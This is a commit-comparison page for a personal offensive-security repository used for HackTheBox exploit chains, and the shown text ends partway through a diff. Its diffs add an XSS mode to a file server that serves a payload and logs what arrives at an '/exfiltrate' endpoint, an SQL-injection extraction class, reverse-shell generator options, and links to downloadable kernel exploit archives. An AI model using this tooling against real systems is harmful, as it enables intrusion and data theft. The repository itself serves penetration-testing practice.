Compare commits
	
		
			10 Commits
		
	
	
		
			0fac5c75b0
			...
			12007c84c1
		
	
	| Author | SHA1 | Date | |
|---|---|---|---|
| 12007c84c1 | |||
| f11f99fdf4 | |||
| 680b029677 | |||
| b5296b3ff4 | |||
| 546d6c8447 | |||
| 4b02f0bf25 | |||
| 5a2508e524 | |||
| 5006819532 | |||
| 1b679b0c37 | |||
| ad8225e918 | 
							
								
								
									
										0
									
								
								PetitPotam.py
									
									
									
									
									
										
										
										Executable file → Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										0
									
								
								PetitPotam.py
									
									
									
									
									
										
										
										Executable file → Normal file
									
								
							
							
								
								
									
										22
									
								
								README.md
									
									
									
									
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										22
									
								
								README.md
									
									
									
									
									
								
							| @ -7,8 +7,16 @@ I use this repository mostly for automated exploit chains. HackTheBox machines o | |||||||
| 
 | 
 | ||||||
| ### Installation | ### Installation | ||||||
| ```bash | ```bash | ||||||
| git clone git@romanh.de:Roman/HackingScripts | PYTHON_DIR=$(python -c "import sys;print(sys.path[-1])") | ||||||
| sudo ln -s HackingScripts $(python -c "import sys;print(sys.path[-1])")/hackingscripts | 
 | ||||||
|  | # clone directly into python site-packages | ||||||
|  | git clone https://git.romanh.de/Roman/HackingScripts.git $PYTHON_DIR/hackingscripts | ||||||
|  | # or use a symlink | ||||||
|  | git clone https://git.romanh.de/Roman/HackingScripts.git | ||||||
|  | sudo ln -s $(pwd)/HackingScripts $PYTHON_DIR/hackingscripts | ||||||
|  | 
 | ||||||
|  | # Install requirements | ||||||
|  | pip3 install -r $PYTHON_DIR/hackingscripts/requirements.txt | ||||||
| ``` | ``` | ||||||
| 
 | 
 | ||||||
| ### Enumeration: Initial Scans | ### Enumeration: Initial Scans | ||||||
| @ -30,6 +38,7 @@ Can be deployed on victim machines to scan the intranet. | |||||||
| - pingscan.py: small python script, which can detect internal hosts via ping probes natively. | - pingscan.py: small python script, which can detect internal hosts via ping probes natively. | ||||||
| Can be deployed on victim machines to scan the intranet. | Can be deployed on victim machines to scan the intranet. | ||||||
| - [deepce.sh](https://github.com/stealthcopter/deepce): Docker Privilege Escalation (e.g. exposed socket) | - [deepce.sh](https://github.com/stealthcopter/deepce): Docker Privilege Escalation (e.g. exposed socket) | ||||||
|  | - [socat](https://github.com/3ndG4me/socat) | ||||||
| 
 | 
 | ||||||
| ### Reverse Shell: Payloads | ### Reverse Shell: Payloads | ||||||
| - rev_shell.py: Generates a reverse shell command (e.g. netcat, python, ...) | - rev_shell.py: Generates a reverse shell command (e.g. netcat, python, ...) | ||||||
| @ -52,6 +61,7 @@ Can be deployed on victim machines to scan the intranet. | |||||||
| - pcap_file_extract.py: Lists and extracts files from http connections found in pcap files | - pcap_file_extract.py: Lists and extracts files from http connections found in pcap files | ||||||
| - find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions | - find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions | ||||||
| - TODO: smb | - TODO: smb | ||||||
|  | - sqli.py: An sqlmap-like abstract class for automizing SQL-Injections (WIP) | ||||||
| 
 | 
 | ||||||
| ### [Windows](win/) | ### [Windows](win/) | ||||||
|  - nc.exe/nc64.exe: netcat standalone binary |  - nc.exe/nc64.exe: netcat standalone binary | ||||||
| @ -63,4 +73,10 @@ Can be deployed on victim machines to scan the intranet. | |||||||
|  - [SharpHound.exe](https://github.com/BloodHoundAD/SharpHound3): BloodHound Ingestor |  - [SharpHound.exe](https://github.com/BloodHoundAD/SharpHound3): BloodHound Ingestor | ||||||
|  - [windows-exploit-suggester.py](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) |  - [windows-exploit-suggester.py](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) | ||||||
|  - [aspx-reverse-shell.aspx](https://github.com/borjmz/aspx-reverse-shell) |  - [aspx-reverse-shell.aspx](https://github.com/borjmz/aspx-reverse-shell) | ||||||
|  - [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to @alwayslucky) |  - [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to [@alwayslucky](https://github.com/0xalwayslucky)) | ||||||
|  |  - [PetitPotam.py](https://github.com/topotam/PetitPotam) | ||||||
|  |  - [socat.exe](https://github.com/3ndG4me/socat) | ||||||
|  |  - TODO: add all Potatoes | ||||||
|  | 
 | ||||||
|  | ### Example API-Usage | ||||||
|  | TODO: Add some example code or bash commands on how to use the custom libraries, e.g. fileserver, xss_handler, etc. | ||||||
| @ -5,12 +5,10 @@ from http.server import BaseHTTPRequestHandler, HTTPServer | |||||||
| from urllib.parse import urlparse | from urllib.parse import urlparse | ||||||
| import threading | import threading | ||||||
| import requests | import requests | ||||||
| import sys |  | ||||||
| import time | import time | ||||||
| import os | import os | ||||||
| import ssl | import ssl | ||||||
| import util | import util | ||||||
| import xss_handler |  | ||||||
| 
 | 
 | ||||||
| class FileServerRequestHandler(BaseHTTPRequestHandler): | class FileServerRequestHandler(BaseHTTPRequestHandler): | ||||||
| 
 | 
 | ||||||
| @ -93,14 +91,23 @@ class FileServerRequestHandler(BaseHTTPRequestHandler): | |||||||
|                 status_code = 200 if len(result) < 1 else result[0] |                 status_code = 200 if len(result) < 1 else result[0] | ||||||
|                 data        = b"" if len(result) < 2 else result[1] |                 data        = b"" if len(result) < 2 else result[1] | ||||||
|                 headers     = { } if len(result) < 3 else result[2] |                 headers     = { } if len(result) < 3 else result[2] | ||||||
|             else: |             elif isinstance(result, int): | ||||||
|                 status_code = result |                 status_code = result | ||||||
|                 data = b"" |                 data = b"" | ||||||
|                 headers = {} |                 headers = {} | ||||||
|  |             elif result is None: | ||||||
|  |                 status_code = 201 | ||||||
|  |                 data = b"" | ||||||
|  |                 headers = {} | ||||||
|  |             else: | ||||||
|  |                 status_code = 200 | ||||||
|  |                 data = data if type(data) in [bytes, bytearray] else str(data).encode() | ||||||
|  |                 headers = {} | ||||||
| 
 | 
 | ||||||
|             if path in self.server.dumpRequests: |             if path in self.server.dumpRequests: | ||||||
|                 headers["Access-Control-Allow-Origin"] = "*" |                 headers["Access-Control-Allow-Origin"] = "*" | ||||||
|              |              | ||||||
|  |             headers["Connection"] = "Close" | ||||||
|             headers["Content-Length"] = len(util.nvl(data, b"")) |             headers["Content-Length"] = len(util.nvl(data, b"")) | ||||||
| 
 | 
 | ||||||
|             if len(headers) == 0: |             if len(headers) == 0: | ||||||
| @ -176,7 +183,7 @@ class HttpFileServer(HTTPServer): | |||||||
|             data = data.encode("UTF-8") |             data = data.encode("UTF-8") | ||||||
|      |      | ||||||
|         headers = {  |         headers = {  | ||||||
|             "Access-Control-Allow-Origin": "*", |             "Access-Control-Allow-Origin": "*" | ||||||
|         } |         } | ||||||
|          |          | ||||||
|         if mime_type: |         if mime_type: | ||||||
| @ -275,10 +282,6 @@ class HttpFileServer(HTTPServer): | |||||||
|             self.listen_thread.join() |             self.listen_thread.join() | ||||||
| 
 | 
 | ||||||
| if __name__ == "__main__": | if __name__ == "__main__": | ||||||
|     if len(sys.argv) < 2 or sys.argv[1] not in ["shell","dump","proxy","xss"]: |  | ||||||
|         print("Usage: %s [shell,dump,proxy,xss]" % sys.argv[0]) |  | ||||||
|         exit(1) |  | ||||||
| 
 |  | ||||||
|     parser = argparse.ArgumentParser(description="Spawn a temporary http server") |     parser = argparse.ArgumentParser(description="Spawn a temporary http server") | ||||||
|     parser.add_argument( |     parser.add_argument( | ||||||
|         "action", |         "action", | ||||||
| @ -327,8 +330,11 @@ if __name__ == "__main__": | |||||||
|         file_server.forwardRequest("/proxy", url) |         file_server.forwardRequest("/proxy", url) | ||||||
|         print("Exfiltrate data using:", file_server.get_full_url("/proxy", ip_address)) |         print("Exfiltrate data using:", file_server.get_full_url("/proxy", ip_address)) | ||||||
|     elif args.action  == "xss": |     elif args.action  == "xss": | ||||||
|  |         from xss_handler import generate_payload as generate_xss_payload | ||||||
|         payload_type = args.payload if args.payload else "img" |         payload_type = args.payload if args.payload else "img" | ||||||
|         xss = xss_handler.generatePayload(payload_type, ip_addr, args.port) |         xss = generate_xss_payload(payload_type, file_server.get_full_url("/exfiltrate", ip_address)) | ||||||
|  |         file_server.addFile("/xss", xss) | ||||||
|  |         file_server.dumpRequest("/exfiltrate") | ||||||
|         print("Exfiltrate data using:") |         print("Exfiltrate data using:") | ||||||
|         print(xss) |         print(xss) | ||||||
| 
 | 
 | ||||||
|  | |||||||
							
								
								
									
										473
									
								
								linpeas.sh
									
									
									
									
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										473
									
								
								linpeas.sh
									
									
									
									
									
								
							
										
											
												File diff suppressed because one or more lines are too long
											
										
									
								
							| @ -217,7 +217,7 @@ Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 | |||||||
| Tags: ubuntu=9.04 | Tags: ubuntu=9.04 | ||||||
| Rank: 1 | Rank: 1 | ||||||
| analysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/ | analysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/ | ||||||
| src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9435.tgz | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9435.tgz | ||||||
| exploit-db: 9435 | exploit-db: 9435 | ||||||
| Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed | Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed | ||||||
| EOF | EOF | ||||||
| @ -228,7 +228,7 @@ Name: ${txtgrn}[CVE-2009-2692,CVE-2009-1895]${txtrst} sock_sendpage2 | |||||||
| Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 | Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 | ||||||
| Tags:  | Tags:  | ||||||
| Rank: 1 | Rank: 1 | ||||||
| src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9436.tgz | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9436.tgz | ||||||
| exploit-db: 9436 | exploit-db: 9436 | ||||||
| Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 | Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 | ||||||
| EOF | EOF | ||||||
| @ -239,7 +239,7 @@ Name: ${txtgrn}[CVE-2009-2692,CVE-2009-1895]${txtrst} sock_sendpage3 | |||||||
| Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 | Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 | ||||||
| Tags:  | Tags:  | ||||||
| Rank: 1 | Rank: 1 | ||||||
| src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9641.tar.gz | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9641.tar.gz | ||||||
| exploit-db: 9641 | exploit-db: 9641 | ||||||
| Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed | Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed | ||||||
| EOF | EOF | ||||||
| @ -260,7 +260,7 @@ Name: ${txtgrn}[CVE-2009-2698]${txtrst} the rebel (udp_sendmsg) | |||||||
| Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19 | Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19 | ||||||
| Tags: debian=4 | Tags: debian=4 | ||||||
| Rank: 1 | Rank: 1 | ||||||
| src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9574.tgz | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9574.tgz | ||||||
| exploit-db: 9574 | exploit-db: 9574 | ||||||
| analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html | analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html | ||||||
| author: spender | author: spender | ||||||
| @ -701,7 +701,7 @@ Name: ${txtgrn}[CVE-2016-4997]${txtrst} target_offset | |||||||
| Reqs: pkg=linux-kernel,ver>=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules | Reqs: pkg=linux-kernel,ver>=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules | ||||||
| Tags: ubuntu=16.04{kernel:4.4.0-21-generic} | Tags: ubuntu=16.04{kernel:4.4.0-21-generic} | ||||||
| Rank: 1 | Rank: 1 | ||||||
| src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40053.zip | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40053.zip | ||||||
| Comments: ip_tables.ko needs to be loaded | Comments: ip_tables.ko needs to be loaded | ||||||
| exploit-db: 40049 | exploit-db: 40049 | ||||||
| author: Vitaly 'vnik' Nikolenko | author: Vitaly 'vnik' Nikolenko | ||||||
| @ -714,7 +714,7 @@ Reqs: pkg=linux-kernel,ver>=4.4,ver<4.5.5,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unp | |||||||
| Tags: ubuntu=16.04{kernel:4.4.0-21-generic} | Tags: ubuntu=16.04{kernel:4.4.0-21-generic} | ||||||
| Rank: 1 | Rank: 1 | ||||||
| analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808 | analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808 | ||||||
| src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip | ||||||
| Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 | Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 | ||||||
| exploit-db: 40759 | exploit-db: 40759 | ||||||
| author: Jann Horn | author: Jann Horn | ||||||
| @ -858,7 +858,7 @@ Reqs: pkg=linux-kernel,ver>=4.15,ver<=4.19.2,CONFIG_USER_NS=y,sysctl:kernel.unpr | |||||||
| Tags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28} | Tags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28} | ||||||
| Rank: 1 | Rank: 1 | ||||||
| analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712 | analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712 | ||||||
| src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45886.zip | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45886.zip | ||||||
| exploit-db: 45886 | exploit-db: 45886 | ||||||
| author: Jann Horn | author: Jann Horn | ||||||
| Comments: CONFIG_USER_NS needs to be enabled | Comments: CONFIG_USER_NS needs to be enabled | ||||||
| @ -871,7 +871,7 @@ Reqs: pkg=linux-kernel,ver>=4,ver<5.1.17,sysctl:kernel.yama.ptrace_scope==0,x86_ | |||||||
| Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*} | Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*} | ||||||
| Rank: 1 | Rank: 1 | ||||||
| analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 | analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 | ||||||
| src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip | ||||||
| ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c | ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c | ||||||
| Comments: Requires an active PolKit agent. | Comments: Requires an active PolKit agent. | ||||||
| exploit-db: 47133 | exploit-db: 47133 | ||||||
| @ -1066,7 +1066,7 @@ Reqs: pkg=glibc|libc6,x86 | |||||||
| Tags: debian=6 | Tags: debian=6 | ||||||
| Rank: 1 | Rank: 1 | ||||||
| analysis-url: http://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html | analysis-url: http://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html | ||||||
| src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/34421.tar.gz | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34421.tar.gz | ||||||
| exploit-db: 34421 | exploit-db: 34421 | ||||||
| EOF | EOF | ||||||
| ) | ) | ||||||
| @ -1284,7 +1284,7 @@ Reqs: pkg=ntfs-3g,ver<2017.4 | |||||||
| Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2} | Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2} | ||||||
| Rank: 1 | Rank: 1 | ||||||
| analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072 | analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072 | ||||||
| src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/41356.zip | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41356.zip | ||||||
| exploit-db: 41356 | exploit-db: 41356 | ||||||
| author: Jann Horn | author: Jann Horn | ||||||
| Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores. | Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores. | ||||||
|  | |||||||
| @ -532,8 +532,8 @@ if __name__ == "__main__": | |||||||
| 
 | 
 | ||||||
|     parser = argparse.ArgumentParser(description="Reverse shell generator") |     parser = argparse.ArgumentParser(description="Reverse shell generator") | ||||||
|     parser.add_argument(dest="type", type=str, default=None, help="Payload type") |     parser.add_argument(dest="type", type=str, default=None, help="Payload type") | ||||||
|     parser.add_argument("--port", type=int, required=False, default=None, help="Listening port") |     parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port") | ||||||
|     parser.add_argument("--addr", type=str, required=False, default=util.get_address(), help="Listening address") |     parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address") | ||||||
|     args, extra = parser.parse_known_args() |     args, extra = parser.parse_known_args() | ||||||
| 
 | 
 | ||||||
|     listen_port = args.port |     listen_port = args.port | ||||||
|  | |||||||
							
								
								
									
										
											BIN
										
									
								
								socat
									
									
									
									
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								socat
									
									
									
									
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								socat64
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								socat64
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										275
									
								
								sqli.py
									
									
									
									
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										275
									
								
								sqli.py
									
									
									
									
									
								
							| @ -2,8 +2,6 @@ from abc import ABC, abstractmethod | |||||||
| import sys | import sys | ||||||
| import string | import string | ||||||
| 
 | 
 | ||||||
| # TODO: add blind/reflected option |  | ||||||
| # TODO: binary search instead of bruteforce |  | ||||||
| class SQLi(ABC): | class SQLi(ABC): | ||||||
| 
 | 
 | ||||||
|     @staticmethod |     @staticmethod | ||||||
| @ -13,37 +11,6 @@ class SQLi(ABC): | |||||||
|         table = "" if not table else f" FROM {table}" |         table = "" if not table else f" FROM {table}" | ||||||
|         return f"SELECT {column}{table}{condition} LIMIT 1{offset}" |         return f"SELECT {column}{table}{condition} LIMIT 1{offset}" | ||||||
| 
 | 
 | ||||||
|     def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False, binary_search=True): |  | ||||||
| 
 |  | ||||||
|         query = self.build_query(column, table, condition, offset) |  | ||||||
| 
 |  | ||||||
|         if self.blind_sqli(f"({query})=0"): |  | ||||||
|             return 0 |  | ||||||
| 
 |  | ||||||
|         if not binary_search: |  | ||||||
|             cur_int = 1 |  | ||||||
|             while self.blind_sqli(f"({query})>{cur_int}"): |  | ||||||
|                 cur_int += 1 |  | ||||||
| 
 |  | ||||||
|             return cur_int |  | ||||||
|         else: |  | ||||||
|             min_value = 1 |  | ||||||
|             max_value = 1 |  | ||||||
| 
 |  | ||||||
|             while self.blind_sqli(f"({query})>{max_value}"): |  | ||||||
|                 min_value = max_value + 1 |  | ||||||
|                 max_value = max_value * 2 |  | ||||||
| 
 |  | ||||||
|             max_value = max_value - 1 |  | ||||||
|             while True: |  | ||||||
|                 cur_int = (min_value + max_value) // 2 |  | ||||||
|                 if self.blind_sqli(f"({query})>{cur_int}"): |  | ||||||
|                     min_value = cur_int + 1 |  | ||||||
|                 elif self.blind_sqli(f"({query})<{cur_int}"): |  | ||||||
|                     max_value = cur_int - 1 |  | ||||||
|                 else: |  | ||||||
|                     return cur_int |  | ||||||
| 
 |  | ||||||
|     def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False): |     def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False): | ||||||
|         row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose) |         row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose) | ||||||
|         if verbose: |         if verbose: | ||||||
| @ -55,44 +22,30 @@ class SQLi(ABC): | |||||||
| 
 | 
 | ||||||
|         return rows |         return rows | ||||||
| 
 | 
 | ||||||
|     def extract_string(self, column: str, table=None, condition=None, offset=None, max_length=None, verbose=False, charset=string.printable): |     def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False): | ||||||
| 
 |  | ||||||
|         if max_length is None: |  | ||||||
|             max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose) |  | ||||||
|             if verbose: |  | ||||||
|                 print("Fetched length:", max_length) |  | ||||||
| 
 |  | ||||||
|         cur_str = "" |  | ||||||
|         while True: |  | ||||||
|             found = False |  | ||||||
|             query = self.build_query(f"ascii(substr({column},{len(cur_str) + 1},1))", table, condition, offset) |  | ||||||
|             for c in charset: |  | ||||||
|                 if self.blind_sqli(f"({query})={ord(c)}"): |  | ||||||
|                     found = True |  | ||||||
|                     cur_str += c |  | ||||||
|                     if verbose: |  | ||||||
|                         sys.stdout.write(c) |  | ||||||
|                         sys.stdout.flush() |  | ||||||
|                     break |  | ||||||
|             if not found or (max_length is not None and len(cur_str) >= max_length): |  | ||||||
|                 break |  | ||||||
| 
 |  | ||||||
|         if verbose: |  | ||||||
|             print() |  | ||||||
| 
 |  | ||||||
|         return cur_str |  | ||||||
| 
 |  | ||||||
|     def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False, charset=string.printable): |  | ||||||
|         row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose) |         row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose) | ||||||
|         if verbose: |         if verbose: | ||||||
|             print(f"Fetching {row_count} rows") |             print(f"Fetching {row_count} rows") | ||||||
| 
 | 
 | ||||||
|         rows = [] |         rows = [] | ||||||
|         for i in range(0, row_count): |         for i in range(0, row_count): | ||||||
|             rows.append(self.extract_string(column, table, condition, i, verbose=verbose, charset=charset)) |             rows.append(self.extract_string(column, table, condition, i, verbose=verbose)) | ||||||
| 
 | 
 | ||||||
|         return rows |         return rows | ||||||
| 
 | 
 | ||||||
|  |     @abstractmethod | ||||||
|  |     def ascii(self): | ||||||
|  |         pass | ||||||
|  | 
 | ||||||
|  |     @abstractmethod | ||||||
|  |     def extract_int(self, column: str, table=None, condition=None,  | ||||||
|  |                     offset=None, verbose=False): | ||||||
|  |         pass | ||||||
|  | 
 | ||||||
|  |     @abstractmethod | ||||||
|  |     def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False): | ||||||
|  |         pass | ||||||
|  | 
 | ||||||
|     @abstractmethod |     @abstractmethod | ||||||
|     def get_database_version(self, verbose=False): |     def get_database_version(self, verbose=False): | ||||||
|         pass |         pass | ||||||
| @ -105,10 +58,6 @@ class SQLi(ABC): | |||||||
|     def get_current_database(self, verbose=False): |     def get_current_database(self, verbose=False): | ||||||
|         pass |         pass | ||||||
| 
 | 
 | ||||||
|     @abstractmethod |  | ||||||
|     def blind_sqli(self, condition: str, verbose=False) -> bool: |  | ||||||
|         pass |  | ||||||
| 
 |  | ||||||
|     @abstractmethod |     @abstractmethod | ||||||
|     def get_table_names(self, schema: str, verbose=False): |     def get_table_names(self, schema: str, verbose=False): | ||||||
|         pass |         pass | ||||||
| @ -117,6 +66,173 @@ class SQLi(ABC): | |||||||
|     def get_column_names(self, table: str, schema: str, verbose=False): |     def get_column_names(self, table: str, schema: str, verbose=False): | ||||||
|         pass |         pass | ||||||
| 
 | 
 | ||||||
|  | class ReflectedSQLi(SQLi, ABC): | ||||||
|  | 
 | ||||||
|  |     def __init__(self, column_types: list): | ||||||
|  |         self.column_types = column_types | ||||||
|  | 
 | ||||||
|  |     @abstractmethod | ||||||
|  |     def reflected_sqli(self, columns: list, table=None, condition=None, offset=None, verbose=False): | ||||||
|  |         pass | ||||||
|  | 
 | ||||||
|  |     def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False): | ||||||
|  |         query_columns = [column] + list(map(str, range(2, len(self.column_types) + 1))) | ||||||
|  |         return int(self.reflected_sqli(query_columns, table, condition, offset)[0]) | ||||||
|  | 
 | ||||||
|  |     def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False): | ||||||
|  |         if str not in self.column_types: | ||||||
|  |             print("[!] Reflectd SQL does not reflect string types, only:", self.column_types) | ||||||
|  |             return None | ||||||
|  | 
 | ||||||
|  |         str_column = self.column_types.index(str) | ||||||
|  |         query_columns = list(map(lambda c: f"'{c}'", range(len(self.column_types)))) | ||||||
|  |         query_columns[str_column] = column | ||||||
|  |         return self.reflected_sqli(query_columns, table, condition, offset)[str_column] | ||||||
|  | 
 | ||||||
|  |     def extract_multiple_ints(self, columns: list|str, table=None, condition=None, verbose=False): | ||||||
|  |         one = False | ||||||
|  |         if isinstance(columns, str): | ||||||
|  |             columns = [columns] | ||||||
|  |             one = True | ||||||
|  | 
 | ||||||
|  |         column_count = len(columns) | ||||||
|  |         if len(self.column_types) < column_count: | ||||||
|  |             print(f"[!] Reflectd SQL does not reflect required amount of columns. required={column_count}, got={len(self.column_types)}") | ||||||
|  |             return None | ||||||
|  | 
 | ||||||
|  |         query_columns = columns + list(map(str, range(column_count + 1, len(self.column_types) + 1))) | ||||||
|  |         row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose) | ||||||
|  |         if verbose: | ||||||
|  |             print(f"Fetching {row_count} rows") | ||||||
|  | 
 | ||||||
|  |         rows = [] | ||||||
|  |         column_str = ",".join(query_columns) | ||||||
|  |         for i in range(0, row_count): | ||||||
|  |             row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose) | ||||||
|  |             if one: | ||||||
|  |                 rows.append(int(row[0])) | ||||||
|  |             else: | ||||||
|  |                 rows.append(list(map(lambda i: int(row[i]), range(column_count)))) | ||||||
|  | 
 | ||||||
|  |         return rows | ||||||
|  | 
 | ||||||
|  |     def extract_multiple_strings(self, columns: list|str, table=None, condition=None, verbose=False): | ||||||
|  |         one = False | ||||||
|  |         if isinstance(columns, str): | ||||||
|  |             columns = [columns] | ||||||
|  |             one = True | ||||||
|  | 
 | ||||||
|  |         column_count = len(columns) | ||||||
|  |         if self.column_types.count(str) < column_count: | ||||||
|  |             print(f"[!] Reflectd SQL does not reflect required amount of string columns. required={column_count}, got={self.column_types.count(str)}") | ||||||
|  |             return None | ||||||
|  | 
 | ||||||
|  |         query_columns = list(map(str, range(1, len(self.column_types) + 1))) | ||||||
|  |         offsets = list(None for _ in range(column_count)) | ||||||
|  |         offset = 0 | ||||||
|  |         for i, column in enumerate(columns): | ||||||
|  |             while self.column_types[offset] != str: | ||||||
|  |                 offset += 1 | ||||||
|  |             offsets[i] = offset | ||||||
|  |             query_columns[offset] = column | ||||||
|  |             offset += 1 | ||||||
|  | 
 | ||||||
|  |         row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose) | ||||||
|  |         if verbose: | ||||||
|  |             print(f"Fetching {row_count} rows") | ||||||
|  | 
 | ||||||
|  |         rows = [] | ||||||
|  |         column_str = ",".join(query_columns) | ||||||
|  |         for i in range(0, row_count): | ||||||
|  |             row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose) | ||||||
|  |             if one: | ||||||
|  |                 rows.append(row[offsets[0]]) | ||||||
|  |             else: | ||||||
